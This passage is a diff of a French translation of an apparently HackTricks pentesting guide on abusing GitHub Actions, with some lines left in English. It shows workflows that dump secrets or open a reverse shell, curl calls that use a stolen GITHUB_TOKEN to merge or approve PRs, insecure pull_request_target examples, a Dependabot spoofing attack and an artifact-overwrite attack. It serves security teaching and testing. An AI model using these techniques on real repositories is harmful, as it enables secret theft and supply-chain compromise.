Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,58 +1,58 @@
-# Abuser des Github Actions
+# Abuser de Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Outils
 
-Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
+Les outils suivants sont utiles pour trouver des workflows Github Action et même en identifier des vulnérables :
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Vérifiez également sa liste de contrôle à [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Informations de base
 
-Sur cette page, vous trouverez :
+Sur cette page vous trouverez :
 
-- Un **résumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action
-- Différentes manières de **get access to an action** :
-- Avoir des **permissions** pour créer l'action
-- Abuser des déclencheurs liés aux **pull requests**
-- Abuser d'autres techniques d'**accès externe**
-- **Pivoting** à partir d'un dépôt déjà compromis
-- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (causant les impacts mentionnés)
+- Un **résumé de tous les impacts** qu'un attaquant peut causer en accédant à une Github Action
+- Différentes façons de **obtenir l'accès à une action** :
+- Avoir les **permissions** pour créer l'action
+- Abuser des **déclencheurs** liés aux **pull request**
+- Abuser d'**autres techniques d'accès externe**
+- **Pivoting** depuis un repo déjà compromis
+- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (provoquant les impacts mentionnés)
 
 ## Résumé des impacts
 
-Pour une introduction sur [**Github Actions, consultez les informations de base**](../basic-github-information.md#github-actions).
+For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
 Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **dépôt**, vous pourriez être en mesure de :
 
 - **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
-- **Compromettre des déploiements** et d'autres **artéfacts**.
-- Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
-- **Exécuter du code dans des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
-- **Écraser le code du dépôt**, en fonction des permissions associées au `GITHUB_TOKEN`.
+- **Compromettre des déploiements** et d'autres **artefacts**.
+- Si le pipeline déploie ou stocke des assets, vous pouvez altérer le produit final, permettant une supply chain attack.
+- **Exécuter du code sur des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
+- **Écraser le code du dépôt**, selon les permissions associées au `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est donné lorsque l'administrateur active cette option :
+Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Ce token est le même qu'une **application Github utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github devrait publier un [**flux**](https://github.com/github/roadmap/issues/74) qui **permet l'accès inter-dépôts** au sein de GitHub, afin qu'un dépôt puisse accéder à d'autres dépôts internes en utilisant le `GITHUB_TOKEN`.
+> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
 Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Notez que le token **expire après la fin du job**.\
-Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Notez que le token **expire après l'exécution du job**.\
+These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Quelques choses intéressantes que vous pouvez faire avec ce token :
+Quelques usages intéressants de ce token :
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="Approuver PR" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="Créer PR" }}
+{{#tab name="Create PR" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Notez qu'à plusieurs reprises, vous pourrez trouver **des jetons d'utilisateur github dans les environnements Github Actions ou dans les secrets**. Ces jetons peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
+> Notez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner davantage de privilèges sur le dépôt et l'organisation.
 
 <details>
 
-<summary>Liste des secrets dans la sortie de Github Action</summary>
+<summary>Lister les secrets dans la sortie de Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Obtenir un shell inversé avec des secrets</summary>
+<summary>Obtenir un reverse shell avec des secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Il est possible de vérifier les permissions accordées à un Github Token dans les dépôts d'autres utilisateurs **en vérifiant les journaux** des actions :
+Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs **en vérifiant les logs** des actions :
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Exécution Autorisée
+## Exécution autorisée
 
 > [!NOTE]
-> Ce serait le moyen le plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou que vous avez **des privilèges d'écriture sur un dépôt**.
+> Ceci serait la façon la plus simple de compromettre Github actions, car ce cas suppose que vous avez accès pour **créer un nouveau repo dans l'organisation**, ou que vous avez des **privilèges d'écriture sur un repository**.
 >
-> Si vous êtes dans ce scénario, vous pouvez simplement vérifier les [techniques de Post Exploitation](#post-exploitation-techniques-from-inside-an-action).
+> Si vous êtes dans ce scénario vous pouvez juste check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Exécution depuis la Création de Dépôt
+### Exécution depuis la création d'un repo
 
-Dans le cas où des membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**.
+Si les membres d'une organisation peuvent **create new repos** et que vous pouvez exécuter github actions, vous pouvez **create a new repo and steal the secrets set at organization level**.
 
-### Exécution depuis une Nouvelle Branche
+### Exécution depuis une nouvelle branche
 
-Si vous pouvez **créer une nouvelle branche dans un dépôt qui contient déjà une Action Github** configurée, vous pouvez **la modifier**, **télécharger** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette manière, vous pouvez **exfiltrer les secrets au niveau du dépôt et de l'organisation** (mais vous devez savoir comment ils sont appelés).
+Si vous pouvez **create a new branch in a repository that already contains a Github Action** configurée, vous pouvez la **modify**, **upload** le contenu, et ensuite **execute that action from the new branch**. De cette façon vous pouvez **exfiltrate repository and organization level secrets** (mais vous devez savoir comment ils sont appelés).
 
-Vous pouvez rendre l'action modifiée exécutable **manuellement,** lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de discrétion que vous souhaitez avoir) :
+> [!WARNING]
+> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
+
+Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'une **PR est créée** ou lorsqu'un **push est effectué** (selon le niveau de bruit que vous souhaitez) :
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
 ```
 ---
 
-## Exécution Forkée
+## Exécution forkée
 
 > [!NOTE]
-> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une Github Action d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être en mesure de les compromettre.
+> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une Github Action d'un autre repository**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être capable de les compromettre.
 
 ### `pull_request`
 
-Le déclencheur de workflow **`pull_request`** exécutera le workflow chaque fois qu'une demande de tirage est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
+Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un(e) **maintainer** devra **approuver** l'**exécution** du workflow :
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Comme la **limitation par défaut** est pour les **contributeurs de première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** et ensuite envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
+> Comme la **limitation par défaut** s'applique aux contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
 >
-> **J'ai testé cela et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et a supprimé son compte.~~
+> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte au nom de quelqu'un qui a contribué au projet et qui a supprimé son compte.~~
 
-De plus, par défaut, cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans les [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) :
+De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** dans le dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les demandes de tirage **provenant de dépôts forkés**.
+> Avec l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché à partir d'un **repository forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **provenant de repositories forkés**.
 
-Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ou écraser le dépôt en raison des limitations mentionnées.
+Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
 
 > [!CAUTION]
-> **Oui, si l'attaquant change dans la PR l'action github qui sera déclenchée, son Github Action sera celle utilisée et non celle du dépôt d'origine !**
+> **Oui, si l'attaquant change dans la PR la github action qui sera déclenchée, sa Github Action sera celle utilisée et non celle du repo d'origine !**
 
-Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **télécharger des artefacts malveillants**.
+Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ni de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **téléverser des artefacts malveillants**.
 
 ### **`pull_request_target`**
 
-Le déclencheur de workflow **`pull_request_target`** a **la permission d'écriture** sur le dépôt cible et **l'accès aux secrets** (et ne demande pas de permission).
+Le workflow trigger **`pull_request_target`** dispose de **permissions d'écriture** sur le dépôt cible et **d'accès aux secrets** (et ne demande pas d'autorisation).
 
-Notez que le déclencheur de workflow **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui donné par la PR (pour **ne pas exécuter de code non fiable**). Pour plus d'infos sur `pull_request_target`, [**consultez les docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-De plus, pour plus d'infos sur cet usage dangereux spécifique, consultez ce [**post de blog github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte base** et non dans celui fourni par la PR (afin de ne pas exécuter du code non fiable). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez cet [**article du blog GitHub**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Cela peut sembler parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, qu'il est **sécurisé** d'utiliser **`pull_request_target`**, mais il y a **quelques cas où ce n'est pas le cas**.
+On pourrait penser que parce que le workflow exécuté est celui défini dans la branche base et non dans la PR, il est sûr d'utiliser `pull_request_target`, mais il y a quelques cas où ce n'est pas le cas.
 
-Et celui-ci aura **accès aux secrets**.
+Et celui-ci aura accès aux secrets.
 
 ### `workflow_run`
 
-Le déclencheur [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow à partir d'un autre lorsqu'il est `complété`, `demandé` ou `en cours`.
+Le trigger `workflow_run` permet d'exécuter un workflow à partir d'un autre lorsque celui-ci est `completed`, `requested` ou `in_progress`.
 
-Dans cet exemple, un workflow est configuré pour s'exécuter après la fin du workflow séparé "Exécuter des tests" :
+Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow distinct "Run Tests" soit terminé :
 ```yaml
 on:
 workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-De plus, selon la documentation : Le workflow démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas**.
+De plus, d'après la documentation : Le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne pouvait pas**.
 
-Ce type de workflow pourrait être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le workflow déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\
-Le second consiste à **passer** un **artifact** du code **non fiable** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
+Ce type de workflow peut être attaqué s'il dépend d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`  
+Le second consiste à **passer** un **artifact** depuis le code **non fiable** vers le workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le code utilisé/téléchargé est celui de l'origine ou de la PR forkée.
+TODO : Vérifier si, lorsqu'il est exécuté depuis un pull_request, le code utilisé/téléchargé est celui de l'origin ou celui du PR forké
 
-## Abus de l'exécution forkée
+## Abusing Forked Execution
 
-Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
+Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
 
-### Exécution de checkout non fiable
+### Exécution du checkout non fiable
 
-Dans le cas de **`pull_request`,** le workflow va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
+Dans le cas de **`pull_request`**, le workflow va être exécuté dans le **contexte du PR** (donc il exécutera le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
 
-Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
+Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché depuis **`pull_request_target` ou `pull_request`**, le code du repo d'origine sera exécuté, donc **l'attaquant ne peut pas contrôler le code exécuté**.
 
 > [!CAUTION]
-> Cependant, si l'**action** a un **checkout PR explicite** qui **récupère le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
+> Cependant, si l'**action** effectue un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -279,32 +282,32 @@ message: |
 Thank you!
 </code></pre>
 
-Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** car les scripts de construction et les **packages référencés sont contrôlés par l'auteur de la PR**.
+Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** puisque les scripts de build et les **packages référencés sont contrôlés par l'auteur du PR**.
 
 > [!WARNING]
-> Un dork github pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` cependant, il existe différentes manières de configurer les jobs pour être exécutés en toute sécurité même si l'action est configurée de manière non sécurisée (comme l'utilisation de conditionnelles sur qui est l'acteur générant la PR).
+> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de façon sécurisée même si l'action est configurée de manière non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
 
-### Injections de scripts de contexte <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Injections de script via les contextes <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
+Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **Injection de script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **Injection via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
+D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
 
-Si un attaquant pouvait **injecter n'importe quelle valeur** à l'intérieur de cette **variable env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
+Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable d'**env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes comme **LD_PRELOAD** ou **NODE_OPTIONS**.
 
-Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu à l'intérieur de la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
+Par exemple ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot et autres bots de confiance
 
-Comme indiqué dans [**cet article de blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une action Github qui fusionne toute PRR de `dependabot[bot]` comme dans :
+Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge toute PRR venant de `dependabot[bot]` comme dans :
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Ce qui pose un problème car le champ `github.actor` contient l'utilisateur qui a causé le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur `dependabot[bot]` modifie une PR. Par exemple :
+Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons d'amener l'utilisateur `dependabot[bot]` à modifier une PR. Par exemple :
 
-- Forker le dépôt de la victime
-- Ajouter le payload malveillant à votre copie
-- Activer Dependabot sur votre fork en ajoutant une dépendance obsolète. Dependabot créera une branche corrigeant la dépendance avec du code malveillant.
-- Ouvrir une Pull Request vers le dépôt de la victime depuis cette branche (la PR sera créée par l'utilisateur donc rien ne se passera encore)
+- Créez un fork du dépôt victime
+- Ajoutez la payload malveillante à votre copie
+- Activez Dependabot sur votre fork en ajoutant une dépendance obsolète. Dependabot créera une branche corrigeant la dépendance avec du code malveillant.
+- Ouvrez une Pull Request vers le dépôt victime depuis cette branche (la PR sera créée par l'utilisateur donc rien ne se passera pour l'instant)
 - Ensuite, l'attaquant revient à la PR initiale que Dependabot a ouverte dans son fork et exécute `@dependabot recreate`
-- Ensuite, Dependabot effectue certaines actions dans cette branche, qui modifient la PR sur le dépôt de la victime, ce qui fait de `dependabot[bot]` l'acteur du dernier événement ayant déclenché le workflow (et donc, le workflow s'exécute).
+- Ensuite, Dependabot effectue certaines actions sur cette branche, ce qui modifie la PR sur le dépôt victime, faisant de `dependabot[bot]` l'actor du dernier événement ayant déclenché le workflow (et donc, le workflow s'exécute).
 
-Passons à autre chose, que se passerait-il si au lieu de fusionner, l'Action Github avait une injection de commande comme dans :
+Pour continuer, que se passerait-il si, au lieu de merger, la Github Action avait une command injection comme dans :
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Bien, le blog original propose deux options pour abuser de ce comportement, la deuxième étant :
+Le billet original propose deux options pour abuser de ce comportement, la deuxième étant :
 
-- Forker le dépôt de la victime et activer Dependabot avec une dépendance obsolète.
-- Créer une nouvelle branche avec le code d'injection de shell malveillant.
-- Changer la branche par défaut du dépôt pour celle-ci.
-- Créer une PR à partir de cette branche vers le dépôt de la victime.
+- Faire un fork du dépôt victime et activer Dependabot avec une dépendance obsolète.
+- Créer une nouvelle branche contenant le code malveillant de shell injection.
+- Changer la branche par défaut du repo pour celle-ci
+- Créer une PR depuis cette branche vers le dépôt victime.
 - Exécuter `@dependabot merge` dans la PR que Dependabot a ouverte dans son fork.
-- Dependabot fusionnera ses modifications dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt de la victime, faisant maintenant de `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et utilisant un nom de branche malveillant.
+- Dependabot fusionnera ses changements dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt victime, faisant maintenant du `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et en utilisant un nom de branche malveillant.
 
-### Actions Github tierces vulnérables
+### Github Actions tiers vulnérables
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Comme mentionné dans [**ce blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Action Github permet d'accéder à des artefacts provenant de différents workflows et même de dépôts.
+Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de plusieurs repositories.
 
-Le problème est que si le paramètre **`path`** n'est pas défini, l'artefact est extrait dans le répertoire courant et peut écraser des fichiers qui pourraient être utilisés ou même exécutés dans le workflow. Par conséquent, si l'artefact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artefact.
+Le problème est que si le **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
 
-Exemple de workflow vulnérable :
+Exemple de workflow vulnérable:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Cela pourrait être attaqué avec ce flux de travail :
+Cela pourrait être attaqué avec ce workflow :
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -390,35 +393,35 @@ path: ./script.py
 ```
 ---
 
-## Autre Accès Externe
+## Autres External Access
 
-### Détournement de Namespace de Dépôt Supprimé
+### Deleted Namespace Repo Hijacking
 
-Si un compte change de nom, un autre utilisateur pourrait enregistrer un compte avec ce nom après un certain temps. Si un dépôt avait **moins de 100 étoiles avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer un **dépôt avec le même nom** que celui supprimé.
+Si un compte change son nom, un autre utilisateur peut enregistrer un compte avec ce nom après un certain temps. Si une repository avait **moins de 100 stars avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer une **repository avec le même nom** que celle supprimée.
 
 > [!CAUTION]
-> Donc, si une action utilise un dépôt d'un compte inexistant, il est toujours possible qu'un attaquant puisse créer ce compte et compromettre l'action.
+> Donc, si une action utilise un repo provenant d'un compte inexistant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
 
-Si d'autres dépôts utilisaient **des dépendances de ces dépôts utilisateurs**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Si d'autres repositories utilisaient **dependencies provenant des repos de cet utilisateur**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Pivotement de Dépôt
+## Repo Pivoting
 
 > [!NOTE]
-> Dans cette section, nous allons parler des techniques qui permettraient de **pivoter d'un dépôt à un autre** en supposant que nous avons un certain type d'accès au premier (voir la section précédente).
+> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous avons un certain accès au premier (voir la section précédente).
 
-### Empoisonnement de Cache
+### Cache Poisoning
 
